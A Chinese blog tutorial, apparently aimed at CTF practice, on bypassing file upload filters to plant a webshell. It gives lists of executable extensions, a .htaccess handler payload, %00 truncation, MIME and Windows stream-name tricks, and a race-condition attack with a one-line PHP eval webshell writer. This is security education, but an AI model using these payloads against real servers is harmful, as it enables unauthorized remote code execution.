文件上传,就是上传文件,一个正常的界面都会存在文件上传头像,视频等。正常的上传本没有什么太大的问题,如果文件上传的时候不做任何的过滤防护措施就会引发漏洞。在文件里传个一句话木🐎,直接拿到shell,可想而知十分严重的。
言归正传,来了解一下什么是文件上传漏洞
原理
在文件上传的功能处,若服务端(或者客户端)脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
这里所谓的“严格”充满着不严格,我们可以通过“绕过”来进行上传,正所谓光脚的不怕穿鞋的,接下来来了解一下绕过的方式
注:一般的,我们上传一个一句话木马文件后,我们需要知道文件的位置才能进行一个链接,所以就需要知道文件的回显位置。
如果站点使用使用cms(网站内容管理系统)搭建的,则可以上网查询该cms的poc和exp。
文件上传效验绕过大致分为两种:客户端效验,服务端效验
客户端效验
检验
客户端一般指的是本地浏览器,访问页面时,在源码中做了一个javasrcipt的效验(通常都是检验后缀名)
如上图所示,就是常用的一个前端效验javasrcipt的一段代码。
绕过
对于这中代码的绕过都是很简单的,因为作用在前端,不管干什么后端都会无条件的信任你(已不常用)
1.可以使用burp进行抓包,修改合法的后缀名
2.可以禁用浏览器的js代码即可
在url栏中about:config,找到进入首选项,找到javascEnabled项,更改值true为false
服务端效验
以下是俺自己整理的绕过姿势(CTF用的多)
这里为了快速的一个了解,就简单的说一下原理,主要还是绕过姿势,都是干货呢!!!
异常后缀名绕过
绕过姿势payload
".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",
".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",
".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",
".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",
".htaccess",".ini"
利用服务端对后缀的效验,充分信任后缀,在后端的理解里PHP=PHP4,,所以基于可以改写一个不同的后缀名来绕过
.htaccess绕过
这里稍微讲解一下什么是.htaccess。
.htaccess文件是apache中的一个配置文件,它充分的负责了网站目录下的网页配置。这样说可能有些迷,简单来说,它负责我们常规的:301网页的重定向,404自定义错误,改变文件的后缀名等等。这里就是利用他能修改定义文件上传的后缀名。
绕过姿势payload
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这一段就是我们所上传的“.htaccess”文件 它的意思是 让shell文件与一般php文件一样运行 ,之后上传一个shell文件名的一句话木马即可用蚁剑连接,顺利拿到webshell
利用注意点
第一个上传文件名字一定是.htaccess(一定的),如果不成功可以多上传几次
注:这里的.htaccess还可以隐藏后门
%00截断
%00截断 ( shell.php%00.jpg 可截断%00后的内容) 配合服务器中间件解析漏洞绕过
00截断有限制,php版本得低于5.3.4,并且在php.ini中,将magic_quote_gpc设置为Off
重点就是若是黑名单组过滤了php等文件后缀,我们就利用%00截断后面的后缀
小讲一波:
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
%00分两种情况
GET传参,可以在上传地址后面直接加上 1.php%00 来截断
POST传参,那就要对post传参的上传位置后面的“%00”进行一个编码
操作:bp中选中 %00 然后右键,在“转换选择”中,选择“URL”,最后再“网址解码” 或者在加个a.php+,然后在Hex模块中,找到+,将它的二进制改为00
%00是作用于地址上面的, GET会自动解码 %00 POST不会解码,所以要编码 %00-->-->转换选择-->url编码-->网址解码
大小写绕过
后端在写正则匹配的时候,写的不全,从而导致可以用大小写来进行绕过
例如:PhP
MIME绕过
MIME的原理 MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。 是设定某种扩展名的文件用一种应用程序来打开的方式类型, 当该扩展名文件被访问的时候, 浏览器会自动使用指定应用程序来打开。 多用于指定一些客户端自定义的文件名, 以及一些媒体文件打开方式。 MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
MIME检测
一部分Web应用系统判定文件类型是根据文件头content-type字段校验,利用这一点,通过burp抓包,进而修改content-type的类型,进行一个绕过上传[这里也可以在文件里面添加文件头(GIF89a)一句话前后加图片数据混淆]
修改【Content-Type】的【application /octet-stream】为【image/png】【image/jpeg】【image/gif】 等合法的 图片类型
即可进行绕过
常见的MIME类型:
text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
Windows特性流绕过
Windows系统识别文件的话,需要上传上传不符合windows文件命名规则的文件名
test.php:test.jpg
test.php::$DATA
会被windows系统自动去掉不符合规则符号后面的内容,这里就会把:test.jpg去掉
文件内容检测
这里服务端会对文件进行一个加载检测,常见的是对图像进行二次渲染,一般是调用一个PHP的GD库。
二次渲染
二次渲染指服务器对上传的文件内容进行提取并重新组合,将重新生成的图片和原图片内容进行对比分析新图片和原始文件的差异,进而在渲染过程 中未改动的区域内构建恶意代码,从而重新生成图片马。
绕过GD库的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
这个添加木马的位置主要在没有被渲染的区域,可以通过winhex打开查看对比两个图片🐎的渲染位置
条件竞争
<?php
$is_upload = false; $msg = null;
// 点击提交的话
if(isset($_POST['submit']))
{
// 定义一个数组,存放了允许上传的文件后缀名
$ext_arr = array('jpg','png','gif');
// 获取上传文件的文件名 $file_name = $_FILES['upload_file']['name'];
// 获取上传文件的临时文件名 $temp_file = $_FILES['upload_file']['tmp_name']; // 查找"."在文件名中出现的最后一个位置,然后位置+1,返回后面的内 容
// 其实就是截取文件的后缀名
$file_ext = substr($file_name,strrpos($file_name,".")+1);
// 文件上传的位置
$upload_file = UPLOAD_PATH . '/' . $file_name;
// 判断 temp 文件是否是合法的文件(通过 PHP 函数 POST 方法上传的文 件),如果是的话,将其移动到 upload_file 处
if(move_uploaded_file($temp_file, $upload_file))
{
// 如果后缀名在 ext_arr 内,则上传并且重命名文件
if(in_array($file_ext,$ext_arr))
{
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date( "YmdHis").".".$file_ext; rename($upload_file, $img_path);
$is_upload = true;
}
else{$msg = "只允许上传.jpg|.png|.gif 类型文件!";
unlink($upload_file); } }else{$msg = '上传出错!';
}
}
?>
以上仿照了一段文件上传关卡的一段源码
可以清晰的看到,在进行文件上传时,服务器先进行【move_uploaded_ file 】文件上传操作,后判断上传的文件是否合法,如果不合法则删除该文件, 但是在多线程情况下,不断上传并访问该文件,就有可能出现尚未删除文件就访 问成功的情况,该文件可以被暂时保留下来,因为某个文件真正进行读写操作时, 是不能删除该文件的。如果该文件被执行时,能在服务器上生成一个恶意 shel l 的 php 文件
<?phpfputs(fopen('2.php','w'),'<?php @eval($_REQUEST[a]);?>'); ?>
上传【1.php】抓取这个数据包发送到【Intruder】,无限次的发送请求,直至连接成功为止
以上对部分做了总结,建议是多去练习一下CTF或者一些上传的靶场
EMD
少爷留个赞